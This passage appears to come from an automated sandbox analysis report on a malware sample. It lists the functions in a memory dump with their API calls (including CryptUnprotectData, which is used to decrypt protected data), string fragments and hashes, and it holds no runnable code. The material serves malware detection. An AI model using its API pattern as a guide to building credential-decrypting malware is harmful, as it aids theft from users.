GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,009DEBE0,00000000,?,00CC0E10,00000000,?,00000000,00000000,?), ref: 00CB7A7D
wsprintfA.USER32 ref: 00CB7AB7

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: a7a9f1853e4521cd719357920b4d25e188b40bedf995caee2bc2eb421cff5d27
Instruction ID: cce7383aad24f5e90af1b7df325b9e8e9e935d3fc967820078b357050bbba7c5
Opcode Fuzzy Hash: a7a9f1853e4521cd719357920b4d25e188b40bedf995caee2bc2eb421cff5d27
Instruction Fuzzy Hash: A4118EB1945218EFEB208F55DC49FA9BB78FB44721F1043AAF91AA72C0D7742A44CF51

Function 0107417D Relevance: 5.9, Strings: 4, Instructions: 886COMMON

Download Yara Rule

Strings

qAo~, xrefs: 0107466E
.z}, xrefs: 010741F2
xeos, xrefs: 01074C0A
EkG, xrefs: 010745C0

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .z}$qAo~$xeos$EkG
API String ID: 0-1606161968
Opcode ID: 6c186d96e562a94e9529ce3cffccd3211b99a2dda781c509901d562d7faa22d2
Instruction ID: 2ab2c9fe1d5e9e05afdcf82c15fa182aaab9bc442575895926b62b8bd7eb3bb2
Opcode Fuzzy Hash: 6c186d96e562a94e9529ce3cffccd3211b99a2dda781c509901d562d7faa22d2
Instruction Fuzzy Hash: CA425AF3A082109FE3046E2DEC8567ABBD9EF94760F1A893DEAC4C7744E5755C018792

Function 00CB3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00CBE118,00000000,00000001,00CBE108,00000000), ref: 00CB3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00CB37B0

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 4e295b1b5fae0845782ec37e99b323c88510512b2945de0f9bb05e75de232526
Instruction ID: e4cd05ab30b3e7fc9eea53906eb116bd07215510680a1b4d645c7bee3b71ddbe
Opcode Fuzzy Hash: 4e295b1b5fae0845782ec37e99b323c88510512b2945de0f9bb05e75de232526
Instruction Fuzzy Hash: DD41F770A40A289FDB24DB58CC94BDBB7B5BB48702F4051D9E608EB2D0E771AE85CF51

Function 00CA9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00CA9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00CA9BA3
LocalFree.KERNEL32(?), ref: 00CA9BD3

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 4c2b1d6e7317b4007a94edb1b0b12f579b523f1a4535de19738090554f8525b1
Instruction ID: 087221703145568a01ac806f27599db82a97cf23c7e6fa1111eac9df37f7bd80
Opcode Fuzzy Hash: 4c2b1d6e7317b4007a94edb1b0b12f579b523f1a4535de19738090554f8525b1
Instruction Fuzzy Hash: 2711C9B8A00209EFCB04DF94D989AAE77B5FF89304F1045A9F915AB350D770AE54CFA1

Function 010753A2 Relevance: 4.1, Strings: 2, Instructions: 1617COMMON

Download Yara Rule

Strings

4z3, xrefs: 01076195
Fip/, xrefs: 010761BA

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4z3$Fip/
API String ID: 0-1922856788
Opcode ID: 6e0df2d47e4d477ab8afa0e2d878a0568f4b71576cbbfbe8a37368720b777e3a
Instruction ID: 2544725a0e86eb99ad1cfec873a00ae8f53fde2d366ee0c6ba7d6d7cf051a1f0
Opcode Fuzzy Hash: 6e0df2d47e4d477ab8afa0e2d878a0568f4b71576cbbfbe8a37368720b777e3a
Instruction Fuzzy Hash: E3B206F360C2049FE3046E2DEC8567ABBE9EFD4320F1A4A3DE6C4C7744EA7558058696

Function 010283F5 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

CWO, xrefs: 01028574

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: CWO
API String ID: 0-159657330
Opcode ID: 84f4b6c47fe3a70e24b1284e97464f918b8dcef8ac1d4d4f136deb41ad7f598b
Instruction ID: 9634e602cb5a7a79e094d836a98f2ed4ed09b34a094b77dda882e366c02e92ce
Opcode Fuzzy Hash: 84f4b6c47fe3a70e24b1284e97464f918b8dcef8ac1d4d4f136deb41ad7f598b
Instruction Fuzzy Hash: 0C7145F3F083145BF304592AEC8476AB6CAEBE4320F1A863DAA98973C4E9794C054285

Function 00FE523A Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

LMow, xrefs: 00FE541B

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: LMow
API String ID: 0-2764092925
Opcode ID: b4f187cbaeaf5cb9c28ee563d34b622893dd5136599ae92d6faf7528b9762cb8
Instruction ID: daa27f7367deae29f529b938f1baecf948ce307acffc9e2723bbd48639f42db0
Opcode Fuzzy Hash: b4f187cbaeaf5cb9c28ee563d34b622893dd5136599ae92d6faf7528b9762cb8
Instruction Fuzzy Hash: CB7127F3D086104BE3086E2DDC4576AFBE5EF94710F1B893DDAD993B84E939980186C6

Function 0115463A Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

1o?k, xrefs: 01154704

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1o?k
API String ID: 0-2833669673
Opcode ID: 1234ea919423ad58f1680418e60e484e4d0c9f7308a459410314341981525d57
Instruction ID: 9bfb5690ebf062e3ae1f330977b9cf9df4afdd580c9d3a86bbea71cdf65b2439
Opcode Fuzzy Hash: 1234ea919423ad58f1680418e60e484e4d0c9f7308a459410314341981525d57
Instruction Fuzzy Hash: C3516BB761C510EFE34C9A199C04A7B77D5EBC5760F13092EE8E2C7A40F770489182A3

Function 010268A4 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

vEm, xrefs: 010269CF

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: vEm
API String ID: 0-3739008277
Opcode ID: cce7e61571809e82e7ad40463ff4f2b83c19583b2b061b337c65483941f4e41b
Instruction ID: 73ca00de80d6f39f873dc6380b0f49c5393bcd1352d02819311b26464a957157
Opcode Fuzzy Hash: cce7e61571809e82e7ad40463ff4f2b83c19583b2b061b337c65483941f4e41b
Instruction Fuzzy Hash: 0A514BF3A183044FF7006A2DEC857A676D5EB54320F69463CEAD8C7380F9BD98068693

Function 0107252B Relevance: .9, Instructions: 944COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea00269c5b9583283c948dfd86fc1e4553f206633d128925dd5a3cfbc4a7945b
Instruction ID: 65b79ca3e7156ea083fc44a85a7ce5e68c50ac6b50d8b9f2ab3438223b439d93
Opcode Fuzzy Hash: ea00269c5b9583283c948dfd86fc1e4553f206633d128925dd5a3cfbc4a7945b
Instruction Fuzzy Hash: A85216F3608200AFE3146E2DEC8577AFBE5EF94320F1A893DE6C583744E63598458693

Function 01188561 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8701d047ba8f6f065cd5fc430e4c767f014fb1cf1b926ce90c9c5eeaba2e1037
Instruction ID: 615f3dc8f20e63acc961a843b6fe9c683c5a479c6d8d4190e6eee2b8dbc4e0ac
Opcode Fuzzy Hash: 8701d047ba8f6f065cd5fc430e4c767f014fb1cf1b926ce90c9c5eeaba2e1037
Instruction Fuzzy Hash: 32A148F3A082009FE718AE1CEC8576AB7E5EF98310F19453DDAC5D3784E6359815CB86

Function 00F24F5E Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22efc3daf551621ad159f9c1708e590a3a519aa6432594b325b172b68c5f9a25
Instruction ID: 90c27fd157c381dbba632d6e4c635fc4328741820fbc506508e547b714085b0d
Opcode Fuzzy Hash: 22efc3daf551621ad159f9c1708e590a3a519aa6432594b325b172b68c5f9a25
Instruction Fuzzy Hash: 85514AF3A092049FD358AE2DEC4577AB7D7EBD8320F1A852DE38583788FD3558058686

Function 010A775F Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID:
